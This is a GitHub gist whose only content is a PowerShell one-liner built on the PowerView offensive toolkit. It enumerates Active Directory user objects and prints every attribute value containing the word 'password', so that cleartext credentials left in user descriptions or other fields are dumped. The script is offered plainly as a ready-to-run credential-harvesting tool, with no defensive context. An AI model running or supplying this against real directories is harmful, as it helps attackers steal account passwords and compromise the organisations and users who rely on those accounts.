Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save C0axx/334294bafa7bd83cc9625fc1cfe71a2a to your computer and use it in GitHub Desktop.
Save C0axx/334294bafa7bd83cc9625fc1cfe71a2a to your computer and use it in GitHub Desktop.
PowerView One-Liner to Dump Cleartext Passwords From AD User Attributes
$users = Get-NetUser; $props=@(); $users | Get-Member | foreach-object{if($_.Name -notlike "badpassword*"){$props+=$_.Name}}; foreach($user in $users){ foreach($prop in $props){ if($user.$prop -like "*password*" -and $user.$prop -notlike "*dont_expire_password" -and $user.$prop -notlike "*RODC Password*"){Write-Output ($user.samAccountName + "[" + $prop + "]" + " : " + $user.$prop) } } }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment